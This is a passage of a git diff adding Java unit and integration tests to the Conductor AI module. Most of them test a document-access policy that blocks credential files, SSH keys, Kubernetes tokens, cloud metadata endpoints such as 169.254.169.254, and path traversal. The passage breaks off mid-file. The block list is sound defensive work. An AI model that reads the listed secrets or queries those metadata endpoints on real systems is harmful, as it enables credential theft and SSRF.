policy.validateAccess("file:///etc/passwd")); + } + + @Test + void shouldBlockKubernetesSecrets() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/var/run/secrets/kubernetes.io/serviceaccount/token")); + } + + @Test + void shouldBlockDockerSecrets() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/run/secrets/db_password")); + } + + // ======================================================================== + // Blocklist — sensitive file names + // ======================================================================== + + @Test + void shouldBlockDotEnvFile() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/config/.env")); + } + + @Test + void shouldBlockPrivateKey() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/home/user/.ssh/id_rsa")); + } + + @Test + void shouldBlockCredentialsJson() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/credentials.json")); + } + + @Test + void shouldBlockKeystoreJks() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/opt/app/keystore.jks")); + } + + // ======================================================================== + // Blocklist — cloud metadata endpoints + // ======================================================================== + + @Test + void shouldBlockAwsMetadata() { + assertThrows( + DocumentAccessDeniedException.class, + () -> + policy.validateAccess( + "http://169.254.169.254/latest/meta-data/iam/security-credentials/")); + } + + @Test + void shouldBlockAwsEcsMetadata() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://169.254.170.2/v2/credentials/guid")); + } + + @Test + void shouldBlockGcpMetadata() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://metadata.google.internal/computeMetadata/v1/")); + } + + @Test + void shouldBlockAlibabaMetadata() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://100.100.100.200/latest/meta-data/")); + } + + @Test + void shouldBlockAwsDnsAlias() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://instance-data.ec2.internal/latest/meta-data/")); + } + + @Test + void shouldBlockKubernetesApiServer() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("https://kubernetes.default.svc/api/v1/secrets")); + } + + // ======================================================================== + // Link-local range detection (SSRF bypass prevention) + // ======================================================================== + + @Test + void shouldBlockLinkLocalViaResolvedAddress() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://169.254.169.253/something")); + } + + @Test + void shouldBlockLoopbackAddress() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://127.0.0.1/admin")); + } + + @Test + void shouldBlockLocalhostViaResolution() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://localhost/admin")); + } + + // ======================================================================== + // Platform-specific paths + // ======================================================================== + + @Test + void shouldBlockDockerSocket() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/var/run/docker.sock")); + } + + @Test + void shouldBlockKubernetesNodeConfig() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/etc/kubernetes/admin.conf")); + } + + @Test + void shouldBlockWindowsRegistryHive() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("C:/Windows/System32/config/SAM")); + } + + @Test + void shouldBlockWindowsUnattendXml() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("C:/Windows/Panther/Unattend.xml")); + } + + @Test + void shouldBlockTerraformState() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/infra/terraform.tfstate")); + } + + @Test + void shouldBlockVaultToken() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/deploy/.vault-token")); + } + + @Test + void shouldBlockGcpApplicationDefaultCredentials() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/config/application_default_credentials.json")); + } + + @Test + void shouldBlockMavenSettings() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/home/user/.m2/settings.xml")); + } + + @Test + void shouldBlockEnvStaging() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/.env.staging")); + } + + @Test + void shouldBlockWebConfig() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("C:/inetpub/wwwroot/web.config")); + } + + @Test + void shouldBlockMacOsKeychain() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/Library/Keychains/System.keychain")); + } + + @Test + void shouldBlockPowerShellHistory() { + assertThrows( + DocumentAccessDeniedException.class, + () -> + policy.validateAccess( + "C:/Users/admin/AppData/Roaming/PSReadLine/ConsoleHost_history.txt")); + } + + // ======================================================================== + // Path traversal + // ======================================================================== + + @Test + void shouldBlockPathTraversal() { + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/data/../../etc/passwd")); + } + + // ======================================================================== + // Safe paths — should be allowed (paths under ~/worker-payload/ default) + // ======================================================================== + + @Test + void shouldAllowPathUnderDefaultPayloadDir() { + String payloadDir = System.getProperty("user.home") + "/worker-payload/"; + assertDoesNotThrow(() -> policy.validateAccess(payloadDir + "wf123/task456/report.pdf")); + } + + @Test + void shouldAllowNormalHttpUrl() { + assertDoesNotThrow(() -> policy.validateAccess("https://cdn.example.com/image.png")); + } + + @Test + void shouldAllowFileUriUnderPayloadDir() { + String payloadDir = System.getProperty("user.home") + "/worker-payload/"; + assertDoesNotThrow(() -> policy.validateAccess("file://" + payloadDir + "output.pdf")); + } + + // ======================================================================== + // Disabled policy + // ======================================================================== + + @Test + void shouldAllowEverythingWhenDisabled() { + policy.setDisabled(true); + assertDoesNotThrow(() -> policy.validateAccess("/etc/passwd")); + assertDoesNotThrow(() -> policy.validateAccess("http://169.254.169.254/latest/meta-data/")); + } + + // ======================================================================== + // Custom blocklist extensions + // ======================================================================== + + @Test + void shouldBlockCustomPathPrefix() { + policy.setBlockedPathPrefixes(List.of("/custom/sensitive/")); + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/custom/sensitive/data.txt")); + } + + @Test + void shouldBlockCustomFileName() { + policy.setBlockedFileNames(List.of("secret.yaml")); + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/config/secret.yaml")); + } + + @Test + void shouldBlockCustomHost() { + policy.setBlockedHosts(List.of("internal.corp.net")); + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("http://internal.corp.net/api/secret")); + } + + // ======================================================================== + // Allowed directories — derived from file-storage.parentDir + // ======================================================================== + + @Nested + class AllowedDirectoriesTests { + + @Test + void shouldAutoIncludeParentDirFromConfig() { + when(env.getProperty("conductor.file-storage.parentDir")) + .thenReturn("/data/conductor/"); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + assertDoesNotThrow(() -> policy.validateAccess("/data/conductor/wf/task/report.pdf")); + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/other/path/report.pdf")); + } + + @Test + void shouldFallbackToDefaultPayloadDirWhenParentDirNotSet() { + when(env.getProperty("conductor.file-storage.parentDir")).thenReturn(null); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + String defaultDir = System.getProperty("user.home") + "/worker-payload/"; + assertDoesNotThrow(() -> policy.validateAccess(defaultDir + "wf/task/report.pdf")); + } + + @Test + void shouldAllowAdditionalDirectoriesBeyondParentDir() { + when(env.getProperty("conductor.file-storage.parentDir")) + .thenReturn("/data/conductor/"); + policy = new DocumentAccessPolicy(env); + policy.setAllowedDirectories(List.of("/tmp/imports/", "/data/shared/")); + policy.resolveEffectiveAllowedDirectories(); + + // parentDir is allowed + assertDoesNotThrow(() -> policy.validateAccess("/data/conductor/output.pdf")); + // additional dirs are allowed + assertDoesNotThrow(() -> policy.validateAccess("/tmp/imports/input.csv")); + assertDoesNotThrow(() -> policy.validateAccess("/data/shared/image.png")); + // anything else is denied + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/home/user/report.pdf")); + } + + @Test + void shouldDenyPathOutsideAllowedDirectories() { + when(env.getProperty("conductor.file-storage.parentDir")) + .thenReturn("/data/conductor/"); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/documents/report.pdf")); + } + + @Test + void shouldDenyFileUriOutsideAllowedDirectories() { + when(env.getProperty("conductor.file-storage.parentDir")) + .thenReturn("/data/conductor/"); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("file:///home/user/secret.txt")); + } + + @Test + void shouldNotApplyAllowedDirectoriesToHttpUrls() { + when(env.getProperty("conductor.file-storage.parentDir")) + .thenReturn("/data/conductor/"); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + assertDoesNotThrow(() -> policy.validateAccess("https://cdn.example.com/image.png")); + } + + @Test + void shouldStillBlockSensitiveFilesEvenInsideAllowedDir() { + when(env.getProperty("conductor.file-storage.parentDir")).thenReturn("/app/"); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/app/config/.env")); + } + + @Test + void shouldHandleParentDirWithoutTrailingSlash() { + when(env.getProperty("conductor.file-storage.parentDir")).thenReturn("/data/conductor"); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + assertDoesNotThrow(() -> policy.validateAccess("/data/conductor/docs/report.pdf")); + } + + @Test + void shouldIncludeEffectiveDirectoriesInDenialMessage() { + when(env.getProperty("conductor.file-storage.parentDir")) + .thenReturn("/data/conductor/"); + policy = new DocumentAccessPolicy(env); + policy.resolveEffectiveAllowedDirectories(); + + DocumentAccessDeniedException ex = + assertThrows( + DocumentAccessDeniedException.class, + () -> policy.validateAccess("/unauthorized/path/file.txt")); + assertTrue(ex.getMessage().contains("/data/conductor/")); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/examples/ExampleWorkflowValidationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/examples/ExampleWorkflowValidationTest.java new file mode 100644 index 0000000..a135aa0 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/examples/ExampleWorkflowValidationTest.java @@ -0,0 +1,79 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.examples; + +import java.io.IOException; +import java.nio.file.DirectoryStream; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.List; + +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Validates that all JSON files in ai/examples/ are valid WorkflowDef definitions that can be + * deserialized and have required fields populated. + */ +class ExampleWorkflowValidationTest { + + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private static final Path EXAMPLES_DIR = Paths.get(System.getProperty("user.dir"), "examples"); + + @Test + void allExampleJsonFilesDeserializeToWorkflowDef() throws IOException { + assertTrue(Files.isDirectory(EXAMPLES_DIR), "examples/ directory must exist"); + + List jsonFiles = new ArrayList<>(); + try (DirectoryStream stream = Files.newDirectoryStream(EXAMPLES_DIR, "*.json")) { + stream.forEach(jsonFiles::add); + } + + assertFalse(jsonFiles.isEmpty(), "examples/ directory must contain JSON files"); + + for (Path jsonFile : jsonFiles) { + String fileName = jsonFile.getFileName().toString(); + String json = Files.readString(jsonFile); + + WorkflowDef def = + assertDoesNotThrow( + () -> objectMapper.readValue(json, WorkflowDef.class), + fileName + " failed to deserialize to WorkflowDef"); + + assertNotNull(def.getName(), fileName + " must have a name"); + assertFalse(def.getName().isBlank(), fileName + " name must not be blank"); + assertTrue(def.getVersion() > 0, fileName + " version must be > 0"); + assertNotNull(def.getTasks(), fileName + " must have tasks"); + assertFalse(def.getTasks().isEmpty(), fileName + " must have at least one task"); + + // Verify every task has a name, taskReferenceName, and type + for (int i = 0; i < def.getTasks().size(); i++) { + var task = def.getTasks().get(i); + String taskCtx = fileName + " task[" + i + "]"; + assertNotNull(task.getName(), taskCtx + " must have a name"); + assertNotNull( + task.getTaskReferenceName(), taskCtx + " must have a taskReferenceName"); + assertNotNull(task.getType(), taskCtx + " must have a type"); + } + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/http/RetryInterceptorTest.java b/ai/src/test/java/org/conductoross/conductor/ai/http/RetryInterceptorTest.java new file mode 100644 index 0000000..d514ea3 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/http/RetryInterceptorTest.java @@ -0,0 +1,202 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.http; + +import java.io.IOException; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.SocketPolicy; +import okio.BufferedSink; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +class RetryInterceptorTest { + + private MockWebServer server; + private OkHttpClient client; + + @BeforeEach + void setUp() throws IOException { + server = new MockWebServer(); + server.start(); + client = + new OkHttpClient.Builder() + .addInterceptor(new RetryInterceptor(3, 10)) + .connectTimeout(2, TimeUnit.SECONDS) + .readTimeout(2, TimeUnit.SECONDS) + .writeTimeout(2, TimeUnit.SECONDS) + .build(); + } + + @AfterEach + void tearDown() throws IOException { + server.shutdown(); + } + + private Request buildRequest() { + return new Request.Builder().url(server.url("/test")).build(); + } + + @Test + void noRetryOn200() throws IOException { + server.enqueue(new MockResponse().setResponseCode(200).setBody("ok")); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(200, response.code()); + } + + assertEquals(1, server.getRequestCount()); + } + + @Test + void retriesOn503ThenSucceeds() throws IOException { + server.enqueue(new MockResponse().setResponseCode(503)); + server.enqueue(new MockResponse().setResponseCode(503)); + server.enqueue(new MockResponse().setResponseCode(200).setBody("ok")); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(200, response.code()); + } + + assertEquals(3, server.getRequestCount()); + } + + @Test + void exhaustsRetriesAndReturnsLastResponse() throws IOException { + server.enqueue(new MockResponse().setResponseCode(503)); + server.enqueue(new MockResponse().setResponseCode(503)); + server.enqueue(new MockResponse().setResponseCode(503)); + server.enqueue(new MockResponse().setResponseCode(503)); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(503, response.code()); + } + + // 1 initial + 3 retries = 4 total requests + assertEquals(4, server.getRequestCount()); + } + + @Test + void noRetryOn400() throws IOException { + server.enqueue(new MockResponse().setResponseCode(400)); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(400, response.code()); + } + + assertEquals(1, server.getRequestCount()); + } + + @Test + void noRetryOn404() throws IOException { + server.enqueue(new MockResponse().setResponseCode(404)); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(404, response.code()); + } + + assertEquals(1, server.getRequestCount()); + } + + @Test + void retriesOn429WithRetryAfterHeader() throws IOException { + server.enqueue(new MockResponse().setResponseCode(429).addHeader("Retry-After", "1")); + server.enqueue(new MockResponse().setResponseCode(200).setBody("ok")); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(200, response.code()); + } + + assertEquals(2, server.getRequestCount()); + } + + @Test + void retriesOn500() throws IOException { + server.enqueue(new MockResponse().setResponseCode(500)); + server.enqueue(new MockResponse().setResponseCode(200).setBody("ok")); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(200, response.code()); + } + + assertEquals(2, server.getRequestCount()); + } + + @Test + void noRetryOn501() throws IOException { + server.enqueue(new MockResponse().setResponseCode(501)); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(501, response.code()); + } + + assertEquals(1, server.getRequestCount()); + } + + @Test + void retriesOnIOExceptionThenSucceeds() throws IOException { + // First request: socket disconnect (simulates network failure) + server.enqueue(new MockResponse().setSocketPolicy(SocketPolicy.DISCONNECT_AT_START)); + // Second request: success + server.enqueue(new MockResponse().setResponseCode(200).setBody("ok")); + + try (Response response = client.newCall(buildRequest()).execute()) { + assertEquals(200, response.code()); + } + + assertEquals(2, server.getRequestCount()); + } + + @Test + void noRetryForOneShotBody() throws IOException { + server.enqueue(new MockResponse().setResponseCode(503)); + + RequestBody oneShotBody = + new RequestBody() { + @Override + public MediaType contentType() { + return MediaType.get("text/plain"); + } + + @Override + public boolean isOneShot() { + return true; + } + + @Override + public void writeTo(BufferedSink sink) throws IOException { + sink.writeUtf8("payload"); + } + }; + + Request request = new Request.Builder().url(server.url("/test")).post(oneShotBody).build(); + + try (Response response = client.newCall(request).execute()) { + assertEquals(503, response.code()); + } + + // No retry — one-shot body cannot be replayed + assertEquals(1, server.getRequestCount()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/integration/AIModelIntegrationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/integration/AIModelIntegrationTest.java new file mode 100644 index 0000000..eb56f5c --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/integration/AIModelIntegrationTest.java @@ -0,0 +1,1550 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.integration; + +import java.time.Duration; +import java.util.List; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.providers.anthropic.Anthropic; +import org.conductoross.conductor.ai.providers.anthropic.AnthropicConfiguration; +import org.conductoross.conductor.ai.providers.azureopenai.AzureOpenAI; +import org.conductoross.conductor.ai.providers.azureopenai.AzureOpenAIConfiguration; +import org.conductoross.conductor.ai.providers.bedrock.Bedrock; +import org.conductoross.conductor.ai.providers.bedrock.BedrockConfiguration; +import org.conductoross.conductor.ai.providers.cohere.CohereAI; +import org.conductoross.conductor.ai.providers.cohere.CohereAIConfiguration; +import org.conductoross.conductor.ai.providers.gemini.GeminiVertex; +import org.conductoross.conductor.ai.providers.gemini.GeminiVertexConfiguration; +import org.conductoross.conductor.ai.providers.grok.Grok; +import org.conductoross.conductor.ai.providers.grok.GrokAIConfiguration; +import org.conductoross.conductor.ai.providers.mistral.MistralAI; +import org.conductoross.conductor.ai.providers.mistral.MistralAIConfiguration; +import org.conductoross.conductor.ai.providers.ollama.Ollama; +import org.conductoross.conductor.ai.providers.ollama.OllamaConfiguration; +import org.conductoross.conductor.ai.providers.openai.OpenAI; +import org.conductoross.conductor.ai.providers.openai.OpenAIConfiguration; +import org.conductoross.conductor.ai.providers.perplexity.PerplexityAI; +import org.conductoross.conductor.ai.providers.perplexity.PerplexityAIConfiguration; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.junit.jupiter.api.condition.EnabledIf; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.image.ImageOptionsBuilder; +import org.springframework.ai.image.ImagePrompt; +import org.springframework.ai.image.ImageResponse; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Integration tests for all AI model providers. + * + *

Before running these tests, set the required environment variables: + * + * 

+ * source ai/src/test/resources/ai-test-env.sh
+ *
+ * + *

Tests will be skipped automatically if the required API keys are not set. + */ +public class AIModelIntegrationTest { + + private static final String TEST_PROMPT = "What is 2 + 2? Reply with just the number."; + private static final String EMBEDDING_TEXT = + "Hello, world! This is a test sentence for embeddings."; + private static final String AUDIO_TEXT = "Hello, this is a test of text to speech."; + + /** + * Builds an OkHttp client whose timeouts match the production {@code conductorAiHttpClient} + * Spring bean ({@code AIHttpClientProperties}). The default {@code new OkHttpClient()} ships + * with a 10s read timeout that's too short for slow provider operations — notably {@code + * gpt-image-1} image generation at 1024×1024, which regularly takes 30–60s and was failing this + * suite as a result. + */ + private static OkHttpClient testHttpClient() { + return new OkHttpClient.Builder() + .connectTimeout(Duration.ofSeconds(60)) + .readTimeout(Duration.ofSeconds(600)) + .writeTimeout(Duration.ofSeconds(60)) + .build(); + } + + // ======================================================================== + // Environment variable helpers + // ======================================================================== + + static boolean isOpenAIConfigured() { + String key = System.getenv("OPENAI_API_KEY"); + return StringUtils.isNotBlank(key) && !key.equals("your-openai-api-key"); + } + + static boolean isAnthropicConfigured() { + String key = System.getenv("ANTHROPIC_API_KEY"); + return StringUtils.isNotBlank(key) && !key.equals("your-anthropic-api-key"); + } + + static boolean isGeminiConfigured() { + // API key path (Google AI Studio) + String apiKey = System.getenv("GEMINI_API_KEY"); + if (StringUtils.isNotBlank(apiKey) && !apiKey.equals("your-gemini-api-key")) { + return true; + } + // Vertex AI path (GCP project + credentials) + String projectId = System.getenv("GOOGLE_PROJECT_ID"); + String creds = System.getenv("GOOGLE_APPLICATION_CREDENTIALS"); + String vertexCreds = System.getenv("VERTEX_AI_CREDENTIALS"); + return StringUtils.isNotBlank(projectId) + && !projectId.equals("your-gcp-project-id") + && (StringUtils.isNotBlank(creds) || StringUtils.isNotBlank(vertexCreds)); + } + + static boolean isMistralConfigured() { + String key = System.getenv("MISTRAL_API_KEY"); + return StringUtils.isNotBlank(key) && !key.equals("your-mistral-api-key"); + } + + static boolean isOllamaConfigured() { + String url = System.getenv("OLLAMA_BASE_URL"); + return StringUtils.isNotBlank(url); + } + + static boolean isGrokConfigured() { + String key = System.getenv("GROK_API_KEY"); + return StringUtils.isNotBlank(key) && !key.equals("your-grok-api-key"); + } + + static boolean isCohereConfigured() { + String key = System.getenv("COHERE_API_KEY"); + return StringUtils.isNotBlank(key) && !key.equals("your-cohere-api-key"); + } + + static boolean isAzureOpenAIConfigured() { + String key = System.getenv("AZURE_OPENAI_API_KEY"); + String endpoint = System.getenv("AZURE_OPENAI_ENDPOINT"); + return StringUtils.isNotBlank(key) + && !key.equals("your-azure-openai-api-key") + && StringUtils.isNotBlank(endpoint); + } + + static boolean isBedrockConfigured() { + String accessKey = System.getenv("AWS_ACCESS_KEY_ID"); + String secretKey = System.getenv("AWS_SECRET_ACCESS_KEY"); + return StringUtils.isNotBlank(accessKey) + && !accessKey.equals("your-aws-access-key") + && StringUtils.isNotBlank(secretKey); + } + + static boolean isPerplexityConfigured() { + String key = System.getenv("PERPLEXITY_API_KEY"); + return StringUtils.isNotBlank(key) && !key.equals("your-perplexity-api-key"); + } + + // ======================================================================== + // OpenAI Tests + // ======================================================================== + + @Nested + @DisplayName("OpenAI Integration Tests") + @EnabledIf( + "org.conductoross.conductor.ai.integration.AIModelIntegrationTest#isOpenAIConfigured") + @TestInstance(TestInstance.Lifecycle.PER_CLASS) + class OpenAITests { + + private OpenAI openAI; + + @BeforeAll + void setup() { + OpenAIConfiguration config = new OpenAIConfiguration(); + config.setApiKey(System.getenv("OPENAI_API_KEY")); + config.setBaseURL(System.getenv("OPENAI_BASE_URL")); + openAI = new OpenAI(config, testHttpClient()); + } + + @Test + @DisplayName("Chat completion with GPT-4o-mini") + void testChatCompletion() { + ChatModel chatModel = openAI.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(50); + input.setTemperature(0.0); + + var chatOptions = openAI.getChatOptions(input); + Prompt prompt = new Prompt(TEST_PROMPT, chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue(text.contains("4"), "Expected response to contain '4', got: " + text); + } + + @Test + @DisplayName("Image generation with GPT Image") + void testImageGeneration() { + ImageModel imageModel = openAI.getImageModel(); + assertNotNull(imageModel); + + // Use generic ImageOptions to set model and parameters + var imageOptions = + ImageOptionsBuilder.builder() + .model("gpt-image-1") + .height(1024) + .width(1024) + .build(); + + ImagePrompt prompt = + new ImagePrompt("A simple blue circle on white background", imageOptions); + ImageResponse response = imageModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResults()); + assertFalse(response.getResults().isEmpty()); + + var output = response.getResult().getOutput(); + assertTrue( + output.getUrl() != null || output.getB64Json() != null, + "Expected image URL or base64 data"); + } + + @Test + @DisplayName("Audio generation with TTS") + void testAudioGeneration() { + AudioGenRequest request = + AudioGenRequest.builder() + .text(AUDIO_TEXT) + .voice("alloy") + .speed(1.0) + .responseFormat("mp3") + .build(); + request.setModel("tts-1"); + + LLMResponse response = openAI.generateAudio(request); + + assertNotNull(response); + assertNotNull(response.getMedia()); + assertFalse(response.getMedia().isEmpty()); + + var media = response.getMedia().get(0); + assertNotNull(media.getData()); + assertTrue(media.getData().length > 0, "Expected audio data"); + } + + @Test + @DisplayName("Embeddings generation") + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setText(EMBEDDING_TEXT); + request.setModel("text-embedding-3-small"); + + List embeddings = openAI.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + assertEquals(1536, embeddings.size(), "Expected 1536 dimensions"); + } + + @Test + @DisplayName("Chat completion with Codex model") + void testChatCompletion_codex() { + ChatModel chatModel = openAI.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-5.3-codex"); + input.setMaxTokens(200); + + var chatOptions = openAI.getChatOptions(input); + Prompt prompt = + new Prompt( + "Write a Python function that returns the factorial of n", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertFalse(text.isEmpty(), "Expected code output from Codex model"); + assertTrue( + text.contains("def") || text.contains("factorial"), + "Expected Python code with 'def' or 'factorial', got: " + text); + } + + @Test + @DisplayName("Chat completion with web_search tool") + void testChatCompletion_webSearch() { + ChatModel chatModel = openAI.getChatModel(); + assertNotNull(chatModel); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setWebSearch(true); + + var chatOptions = openAI.getChatOptions(input); + Prompt prompt = + new Prompt("What is the current weather in San Francisco?", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + System.out.println(text); + assertFalse(text.isEmpty(), "Expected a response with web search results"); + } + + @Test + @DisplayName("Function tool calling - model returns tool_use, not result") + void testFunctionToolCalling() { + ChatModel chatModel = openAI.getChatModel(); + + ToolSpec weatherTool = new ToolSpec(); + weatherTool.setName("get_weather"); + weatherTool.setDescription("Get the current weather for a location"); + weatherTool.setInputSchema( + Map.of( + "type", "object", + "properties", + Map.of( + "location", + Map.of("type", "string", "description", "City name")), + "required", List.of("location"))); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(200); + input.setTemperature(0.0); + input.setTools(List.of(weatherTool)); + + var chatOptions = openAI.getChatOptions(input); + Prompt prompt = new Prompt("What is the weather in Tokyo?", chatOptions); + + ChatResponse response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + + var output = response.getResult().getOutput(); + // Model should return a tool call, not execute it + assertNotNull(output.getToolCalls(), "Expected tool calls in response"); + assertFalse(output.getToolCalls().isEmpty(), "Expected at least one tool call"); + + var toolCall = output.getToolCalls().getFirst(); + assertEquals("get_weather", toolCall.name(), "Expected get_weather tool call"); + assertNotNull(toolCall.arguments(), "Expected arguments in tool call"); + assertTrue( + toolCall.arguments().toLowerCase().contains("tokyo"), + "Expected 'tokyo' in arguments: " + toolCall.arguments()); + + // Finish reason should indicate tool calls + String finishReason = response.getResult().getMetadata().getFinishReason(); + assertEquals( + "TOOL_CALLS", + finishReason, + "Expected TOOL_CALLS finish reason, got: " + finishReason); + } + + @Test + @DisplayName("Built-in code_interpreter - server-side 